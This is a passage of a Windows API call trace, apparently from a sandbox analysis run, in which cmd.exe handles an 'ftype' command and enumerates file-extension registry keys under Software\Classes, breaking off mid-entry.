lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0103.026] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0103.027] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0103.027] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0103.027] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0103.028] _wcsicmp (_String1="ftYpe", _String2=")") returned 61 [0103.028] _wcsicmp (_String1="FOR", _String2="ftYpe") returned -5 [0103.028] _wcsicmp (_String1="FOR/?", _String2="ftYpe") returned -5 [0103.028] _wcsicmp (_String1="IF", _String2="ftYpe") returned 3 [0103.028] _wcsicmp (_String1="IF/?", _String2="ftYpe") returned 3 [0103.028] _wcsicmp (_String1="REM", _String2="ftYpe") returned 12 [0103.028] _wcsicmp (_String1="REM/?", _String2="ftYpe") returned 12 [0103.030] GetConsoleTitleW (in: lpConsoleTitle=0x2af3d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0103.138] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2 [0103.138] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1 [0103.138] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2 [0103.138] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14 [0103.138] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3 [0103.138] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3 [0103.138] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3 [0103.138] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12 [0103.138] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12 [0103.139] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1 [0103.139] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13 [0103.139] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10 [0103.139] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2 [0103.139] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14 [0103.139] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10 [0103.139] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7 [0103.139] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7 [0103.139] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12 [0103.139] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12 [0103.139] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10 [0103.139] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1 [0103.139] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13 [0103.139] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3 [0103.139] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3 [0103.139] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16 [0103.139] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16 [0103.139] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16 [0103.139] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1 [0103.139] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13 [0103.139] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1 [0103.139] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14 [0103.139] _wcsicmp (_String1="ftYpe", _String2="START") returned -13 [0103.139] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2 [0103.139] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5 [0103.139] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7 [0103.139] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10 [0103.139] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10 [0103.139] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5 [0103.139] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0 [0103.140] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2af168 | out: phkResult=0x2af168*=0x4c) returned 0x0 [0103.140] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff0e0000 [0103.147] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegEnumKeyW") returned 0x7feff0fbf20 [0103.147] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x0, lpName=0x2aee90, cchName=0x104 | out: lpName="*") returned 0x0 [0103.148] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="*\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2aee20 | out: phkResult=0x2aee20*=0x0) returned 0x2 [0103.148] SetLastError (dwErrCode=0x2) [0103.148] RegCloseKey (hKey=0x0) returned 0x6 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1, lpName=0x2aee90, cchName=0x104 | out: lpName=".386") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2, lpName=0x2aee90, cchName=0x104 | out: lpName=".3g2") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3, lpName=0x2aee90, cchName=0x104 | out: lpName=".3gp") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4, lpName=0x2aee90, cchName=0x104 | out: lpName=".3gp2") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5, lpName=0x2aee90, cchName=0x104 | out: lpName=".3gpp") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6, lpName=0x2aee90, cchName=0x104 | out: lpName=".a") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7, lpName=0x2aee90, cchName=0x104 | out: lpName=".AAC") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8, lpName=0x2aee90, cchName=0x104 | out: lpName=".accda") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9, lpName=0x2aee90, cchName=0x104 | out: lpName=".accdb") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa, lpName=0x2aee90, cchName=0x104 | out: lpName=".accdc") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb, lpName=0x2aee90, cchName=0x104 | out: lpName=".accde") returned 0x0 [0103.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc, lpName=0x2aee90, cchName=0x104 | out: lpName=".accdr") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd, lpName=0x2aee90, cchName=0x104 | out: lpName=".accdt") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe, lpName=0x2aee90, cchName=0x104 | out: lpName=".accdu") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf, lpName=0x2aee90, cchName=0x104 | out: lpName=".accdw") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x10, lpName=0x2aee90, cchName=0x104 | out: lpName=".accft") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x11, lpName=0x2aee90, cchName=0x104 | out: lpName=".acl") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x12, lpName=0x2aee90, cchName=0x104 | out: lpName=".acrobatsecuritysettings") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x13, lpName=0x2aee90, cchName=0x104 | out: lpName=".ade") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x14, lpName=0x2aee90, cchName=0x104 | out: lpName=".adn") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x15, lpName=0x2aee90, cchName=0x104 | out: lpName=".adp") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x16, lpName=0x2aee90, cchName=0x104 | out: lpName=".ADT") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x17, lpName=0x2aee90, cchName=0x104 | out: lpName=".ADTS") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x18, lpName=0x2aee90, cchName=0x104 | out: lpName=".ai") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x19, lpName=0x2aee90, cchName=0x104 | out: lpName=".aif") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1a, lpName=0x2aee90, cchName=0x104 | out: lpName=".aifc") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1b, lpName=0x2aee90, cchName=0x104 | out: lpName=".aiff") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1c, lpName=0x2aee90, cchName=0x104 | out: lpName=".ani") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1d, lpName=0x2aee90, cchName=0x104 | out: lpName=".ans") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1e, lpName=0x2aee90, cchName=0x104 | out: lpName=".api") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1f, lpName=0x2aee90, cchName=0x104 | out: lpName=".application") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x20, lpName=0x2aee90, cchName=0x104 | out: lpName=".appref-ms") returned 0x0 [0103.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x21, lpName=0x2aee90, cchName=0x104 | out: lpName=".aps") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x22, lpName=0x2aee90, cchName=0x104 | out: lpName=".art") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x23, lpName=0x2aee90, cchName=0x104 | out: lpName=".asa") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x24, lpName=0x2aee90, cchName=0x104 | out: lpName=".asc") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x25, lpName=0x2aee90, cchName=0x104 | out: lpName=".ascx") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x26, lpName=0x2aee90, cchName=0x104 | out: lpName=".asf") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x27, lpName=0x2aee90, cchName=0x104 | out: lpName=".asm") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x28, lpName=0x2aee90, cchName=0x104 | out: lpName=".asmx") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x29, lpName=0x2aee90, cchName=0x104 | out: lpName=".asp") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2a, lpName=0x2aee90, cchName=0x104 | out: lpName=".aspx") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2b, lpName=0x2aee90, cchName=0x104 | out: lpName=".asx") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2c, lpName=0x2aee90, cchName=0x104 | out: lpName=".au") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2d, lpName=0x2aee90, cchName=0x104 | out: lpName=".avi") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2e, lpName=0x2aee90, cchName=0x104 | out: lpName=".aw") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2f, lpName=0x2aee90, cchName=0x104 | out: lpName=".bas") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x30, lpName=0x2aee90, cchName=0x104 | out: lpName=".bat") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x31, lpName=0x2aee90, cchName=0x104 | out: lpName=".bcp") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x32, lpName=0x2aee90, cchName=0x104 | out: lpName=".bin") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x33, lpName=0x2aee90, cchName=0x104 | out: lpName=".bkf") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x34, lpName=0x2aee90, cchName=0x104 | out: lpName=".blg") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x35, lpName=0x2aee90, cchName=0x104 | out: lpName=".bmp") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x36, lpName=0x2aee90, cchName=0x104 | out: lpName=".bsc") returned 0x0 [0103.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x37, lpName=0x2aee90, cchName=0x104 | out: lpName=".c") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x38, lpName=0x2aee90, cchName=0x104 | out: lpName=".c2r") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x39, lpName=0x2aee90, cchName=0x104 | out: lpName=".cab") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3a, lpName=0x2aee90, cchName=0x104 | out: lpName=".camp") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3b, lpName=0x2aee90, cchName=0x104 | out: lpName=".cat") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3c, lpName=0x2aee90, cchName=0x104 | out: lpName=".cc") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3d, lpName=0x2aee90, cchName=0x104 | out: lpName=".cda") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3e, lpName=0x2aee90, cchName=0x104 | out: lpName=".cdmp") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3f, lpName=0x2aee90, cchName=0x104 | out: lpName=".cdx") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x40, lpName=0x2aee90, cchName=0x104 | out: lpName=".cer") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x41, lpName=0x2aee90, cchName=0x104 | out: lpName=".cgm") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x42, lpName=0x2aee90, cchName=0x104 | out: lpName=".chk") returned 0x0 [0103.151] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x43, lpName=0x2aee90, cchName=0x104 | out: lpName=".chm") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x44, lpName=0x2aee90, cchName=0x104 | out: lpName=".cls") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x45, lpName=0x2aee90, cchName=0x104 | out: lpName=".cmd") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x46, lpName=0x2aee90, cchName=0x104 | out: lpName=".cod") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x47, lpName=0x2aee90, cchName=0x104 | out: lpName=".com") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x48, lpName=0x2aee90, cchName=0x104 | out: lpName=".compositefont") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x49, lpName=0x2aee90, cchName=0x104 | out: lpName=".contact") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4a, lpName=0x2aee90, cchName=0x104 | out: lpName=".cpl") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4b, lpName=0x2aee90, cchName=0x104 | out: lpName=".cpp") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4c, lpName=0x2aee90, cchName=0x104 | out: lpName=".crd") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4d, lpName=0x2aee90, cchName=0x104 | out: lpName=".crds") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4e, lpName=0x2aee90, cchName=0x104 | out: lpName=".crl") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4f, lpName=0x2aee90, cchName=0x104 | out: lpName=".crt") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x50, lpName=0x2aee90, cchName=0x104 | out: lpName=".crtx") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x51, lpName=0x2aee90, cchName=0x104 | out: lpName=".cs") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x52, lpName=0x2aee90, cchName=0x104 | out: lpName=".csa") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x53, lpName=0x2aee90, cchName=0x104 | out: lpName=".csproj") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x54, lpName=0x2aee90, cchName=0x104 | out: lpName=".css") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x55, lpName=0x2aee90, cchName=0x104 | out: lpName=".csv") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x56, lpName=0x2aee90, cchName=0x104 | out: lpName=".cur") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x57, lpName=0x2aee90, cchName=0x104 | out: lpName=".cxx") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x58, lpName=0x2aee90, cchName=0x104 | out: lpName=".dat") returned 0x0 [0103.152] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x59, lpName=0x2aee90, cchName=0x104 | out: lpName=".db") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5a, lpName=0x2aee90, cchName=0x104 | out: lpName=".dbg") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5b, lpName=0x2aee90, cchName=0x104 | out: lpName=".dbs") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5c, lpName=0x2aee90, cchName=0x104 | out: lpName=".dct") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5d, lpName=0x2aee90, cchName=0x104 | out: lpName=".def") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5e, lpName=0x2aee90, cchName=0x104 | out: lpName=".der") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5f, lpName=0x2aee90, cchName=0x104 | out: lpName=".desklink") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x60, lpName=0x2aee90, cchName=0x104 | out: lpName=".det") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x61, lpName=0x2aee90, cchName=0x104 | out: lpName=".diagcab") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x62, lpName=0x2aee90, cchName=0x104 | out: lpName=".diagcfg") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x63, lpName=0x2aee90, cchName=0x104 | out: lpName=".diagpkg") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x64, lpName=0x2aee90, cchName=0x104 | out: lpName=".dib") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x65, lpName=0x2aee90, cchName=0x104 | out: lpName=".dic") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x66, lpName=0x2aee90, cchName=0x104 | out: lpName=".diz") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x67, lpName=0x2aee90, cchName=0x104 | out: lpName=".dll") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x68, lpName=0x2aee90, cchName=0x104 | out: lpName=".dl_") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x69, lpName=0x2aee90, cchName=0x104 | out: lpName=".doc") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6a, lpName=0x2aee90, cchName=0x104 | out: lpName=".dochtml") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6b, lpName=0x2aee90, cchName=0x104 | out: lpName=".docm") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6c, lpName=0x2aee90, cchName=0x104 | out: lpName=".docmhtml") returned 0x0 [0103.153] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6d, lpName=0x2aee90, cchName=0x104 | out: lpName=".docx") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6e, lpName=0x2aee90, cchName=0x104 | out: lpName=".docxml") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6f, lpName=0x2aee90, cchName=0x104 | out: lpName=".dos") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x70, lpName=0x2aee90, cchName=0x104 | out: lpName=".dot") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x71, lpName=0x2aee90, cchName=0x104 | out: lpName=".dothtml") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x72, lpName=0x2aee90, cchName=0x104 | out: lpName=".dotm") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x73, lpName=0x2aee90, cchName=0x104 | out: lpName=".dotx") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x74, lpName=0x2aee90, cchName=0x104 | out: lpName=".dqy") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x75, lpName=0x2aee90, cchName=0x104 | out: lpName=".drv") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x76, lpName=0x2aee90, cchName=0x104 | out: lpName=".dsn") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x77, lpName=0x2aee90, cchName=0x104 | out: lpName=".dsp") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x78, lpName=0x2aee90, cchName=0x104 | out: lpName=".dsw") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x79, lpName=0x2aee90, cchName=0x104 | out: lpName=".DVR") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7a, lpName=0x2aee90, cchName=0x104 | out: lpName=".DVR-MS") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7b, lpName=0x2aee90, cchName=0x104 | out: lpName=".dwfx") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7c, lpName=0x2aee90, cchName=0x104 | out: lpName=".easmx") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7d, lpName=0x2aee90, cchName=0x104 | out: lpName=".edrwx") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7e, lpName=0x2aee90, cchName=0x104 | out: lpName=".elm") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7f, lpName=0x2aee90, cchName=0x104 | out: lpName=".emf") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x80, lpName=0x2aee90, cchName=0x104 | out: lpName=".eml") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x81, lpName=0x2aee90, cchName=0x104 | out: lpName=".eprtx") returned 0x0 [0103.154] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x82, lpName=0x2aee90, cchName=0x104 | out: lpName=".eps") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x83, lpName=0x2aee90, cchName=0x104 | out: lpName=".etp") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x84, lpName=0x2aee90, cchName=0x104 | out: lpName=".evt") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x85, lpName=0x2aee90, cchName=0x104 | out: lpName=".evtx") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x86, lpName=0x2aee90, cchName=0x104 | out: lpName=".exc") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x87, lpName=0x2aee90, cchName=0x104 | out: lpName=".exe") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x88, lpName=0x2aee90, cchName=0x104 | out: lpName=".exp") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x89, lpName=0x2aee90, cchName=0x104 | out: lpName=".ext") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8a, lpName=0x2aee90, cchName=0x104 | out: lpName=".ex_") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8b, lpName=0x2aee90, cchName=0x104 | out: lpName=".eyb") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8c, lpName=0x2aee90, cchName=0x104 | out: lpName=".faq") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8d, lpName=0x2aee90, cchName=0x104 | out: lpName=".fdf") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8e, lpName=0x2aee90, cchName=0x104 | out: lpName=".fdm") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8f, lpName=0x2aee90, cchName=0x104 | out: lpName=".fif") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x90, lpName=0x2aee90, cchName=0x104 | out: lpName=".fky") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x91, lpName=0x2aee90, cchName=0x104 | out: lpName=".fnd") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x92, lpName=0x2aee90, cchName=0x104 | out: lpName=".fnt") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x93, lpName=0x2aee90, cchName=0x104 | out: lpName=".fon") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x94, lpName=0x2aee90, cchName=0x104 | out: lpName=".gadget") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x95, lpName=0x2aee90, cchName=0x104 | out: lpName=".gcsx") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x96, lpName=0x2aee90, cchName=0x104 | out: lpName=".ghi") returned 0x0 [0103.155] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97, lpName=0x2aee90, cchName=0x104 | out: lpName=".gif") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98, lpName=0x2aee90, cchName=0x104 | out: lpName=".glox") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99, lpName=0x2aee90, cchName=0x104 | out: lpName=".gmmp") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a, lpName=0x2aee90, cchName=0x104 | out: lpName=".gqsx") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b, lpName=0x2aee90, cchName=0x104 | out: lpName=".gra") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c, lpName=0x2aee90, cchName=0x104 | out: lpName=".group") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d, lpName=0x2aee90, cchName=0x104 | out: lpName=".grp") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e, lpName=0x2aee90, cchName=0x104 | out: lpName=".gz") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f, lpName=0x2aee90, cchName=0x104 | out: lpName=".h") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1C") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1D") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1F") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1H") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1K") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1Q") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6, lpName=0x2aee90, cchName=0x104 | out: lpName=".H1S") returned 0x0 [0103.156] RegEnumKeyW (in: hKey=0x4c, 